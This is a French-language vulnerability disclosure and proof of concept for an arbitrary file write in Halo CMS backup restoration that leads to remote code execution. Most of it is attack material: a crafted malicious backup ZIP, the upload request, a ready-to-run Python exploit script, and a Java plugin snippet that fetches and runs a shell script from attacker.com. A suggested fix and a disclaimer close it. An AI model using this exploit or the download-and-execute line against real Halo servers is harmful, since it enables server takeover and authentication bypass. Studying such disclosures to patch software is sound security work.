
Preuve de concept d'exploitation pour une vulnérabilité d'écriture arbitraire de fichier dans la restauration de sauvegarde de Halo CMS, permettant une exécution de code à distance (RCE) via le remplacement de plugin JAR ou un contournement d'authentification.
Une vulnérabilité critique d'écriture arbitraire de fichiers existe dans la fonctionnalité de restauration de sauvegarde de Halo CMS jusqu'à la version 2.25.4. La méthode restoreWorkdir() dans MigrationServiceImpl.java copie le répertoire workdir/ d'une archive de sauvegarde fournie par l'utilisateur directement vers le répertoire de travail de l'application Halo (~/.halo2/) sans aucune validation des types de fichiers, protection contre les traversées de chemins ou vérification des liens symboliques. Un attaquant authentifié disposant des privilèges de gestion des sauvegardes peut créer un fichier ZIP de sauvegarde malveillant contenant des fichiers arbitraires dans le répertoire workdir/, qui seront écrits dans le répertoire de travail du serveur lors de la restauration, pouvant potentiellement conduire à une exécution de code à distance (RCE) via le remplacement de JAR de plugin ou à un contournement d'authentification via le remplacement de clés RSA.
Score CVSS v3.1 : 8,8 (Élevé)
Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-73 (Contrôle externe du nom ou du chemin de fichier)
La vulnérabilité réside dans la méthode restoreWorkdir() de MigrationServiceImpl.java (lignes 230-243) :
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
copyRecursively(workdir, haloProperties.getWorkDir()); // LIGNE VULNÉRABLE
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
La méthode copyRecursively() (FileSystemUtils de Spring) effectue une copie récursive sans :
.. dans les noms de fichiersLa vulnérabilité est déclenchée via le point de terminaison de restauration de sauvegarde :
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data
Le processus de restauration suit cette séquence :
┌─────────────────────────────────────────────────────────────┐
│ MigrationServiceImpl.restore() │
│ 1. unpackBackup() → Extraire le ZIP vers un répertoire temporaire │
│ 2. restoreExtensions() → Restaurer extensions.data │
│ 3. restoreWorkdir() → Copier workdir/ vers ~/.halo2/ │
│ ↑ Écriture de fichiers arbitraires dans le répertoire de travail │
└─────────────────────────────────────────────────────────────┘
Un fichier ZIP de sauvegarde malveillant doit contenir :
malicious-backup.zip
├── extensions.data # Requis : Peut être vide ou contenir du JSONL valide
└── workdir/ # Requis : Le contenu est copié vers ~/.halo2/
├── PWNED_BY_POC.txt # Fichier marqueur de preuve de concept
├── plugins/ # JAR de plugins pour RCE
│ └── evil-plugin.jar # Plugin malveillant
└── keys/ # Clés RSA pour contournement d'authentification
├── pat_id_rsa # Clé privée malveillante
└── pat_id_rsa.pub # Clé publique malveillante
Le fichier extensions.data doit être valide pour que restoreExtensions() réussisse. Les formats valides incluent :
Fichier vide : (contenu vide)
Ligne vide : \n (saut de ligne uniquement)
JSONL valide : Un objet ExtensionStore par ligne :
{"name": "/registry/test/dummy", "data": "e30=", "version": 1}
Où data est un contenu encodé en base64.
import zipfile
import io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
# extensions.data vide (passe la validation restoreExtensions)
zf.writestr('extensions.data', '\n')
# Fichier arbitraire à écrire vers ~/.halo2/
zf.writestr('workdir/PWNED_BY_POC.txt',
'Écriture de fichier arbitraire confirmée !')
with open('malicious-backup.zip', 'wb') as f:
f.write(buf.getvalue())
Adresse de gestion des sauvegardes côté frontend : http://ip:port/console/backup
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"
null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"
malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"
application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed
<Contenu binaire du fichier ZIP>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# Sur le serveur Halo
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

~/.halo2/| Vecteur d'attaque | Fichier cible | Impact | Sévérité |
|---|---|---|---|
| Remplacement de JAR de plugin | ~/.halo2/plugins/*.jar | Exécution de code à distance | Critique |
| Remplacement de clé RSA | ~/.halo2/keys/pat_id_rsa | Contournement d'authentification | Critique |
| Remplacement de thème | ~/.halo2/themes/* | XSS stocké | Élevé |
| Écrasement de configuration | ~/.halo2/*.yaml | Contournement des contrôles de sécurité | Élevé |
Un attaquant peut remplacer un JAR de plugin légitime par un JAR malveillant contenant :
@Extension
public class MaliciousExtension {
@PostConstruct
public void init() {
// Exécuter une commande arbitraire
Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
}
}
Lorsque le plugin est chargé, le code malveillant s'exécute avec les privilèges du processus Halo.
#!/usr/bin/env python3
"""
PoC d'écriture arbitraire de fichiers lors de la restauration de sauvegarde Halo CMS
Vulnérabilité : Écriture arbitraire de fichiers lors de la restauration de sauvegarde
CVSS : 8,8 (Élevé)
"""
import io
import sys
import zipfile
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"
def create_malicious_backup():
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('extensions.data', '\n')
zf.writestr('workdir/PWNED_BY_POC.txt',
'Écriture de fichier arbitraire lors de la restauration de sauvegarde Halo confirmée !')
buf.seek(0)
return buf
def exploit():
backup = create_malicious_backup()
url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
files = {'file': ('backup.zip', backup, 'application/zip')}
headers = {'Cookie': SESSION}
r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
print(f"Statut : {r.status_code}")
print(f"Réponse : {r.text[:300]}")
if r.status_code == 200:
print("\n[+] SUCCÈS ! Vérifiez : cat ~/.halo2/PWNED_BY_POC.txt")
if __name__ == "__main__":
exploit()
# Exécuter le PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"
# Sur le serveur Halo
cat ~/.halo2/PWNED_BY_POC.txt
Ajouter une validation à la méthode restoreWorkdir() :
private Mono<Void> restoreWorkdir(Path backupRoot) {
return Mono.<Void>create(sink -> {
try {
var workdir = backupRoot.resolve("workdir");
if (Files.exists(workdir)) {
// Valider l'absence de traversée de chemins
checkDirectoryTraversal(backupRoot, workdir);
// Valider l'absence de liens symboliques
Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
@Override
public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
if (attrs.isSymbolicLink()) {
throw new SecurityException("Les liens symboliques ne sont pas autorisés");
}
return FileVisitResult.CONTINUE;
}
});
// Copier avec validation
copyRecursively(workdir, haloProperties.getWorkDir());
}
sink.success();
} catch (IOException e) {
sink.error(e);
}
}).subscribeOn(scheduler);
}
application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.javaCette divulgation de vulnérabilité est destinée uniquement à des fins de recherche en sécurité. L'auteur n'est pas responsable de toute utilisation abusive de ces informations. Obtenez toujours une autorisation appropriée avant de tester des systèmes pour détecter des vulnérabilités.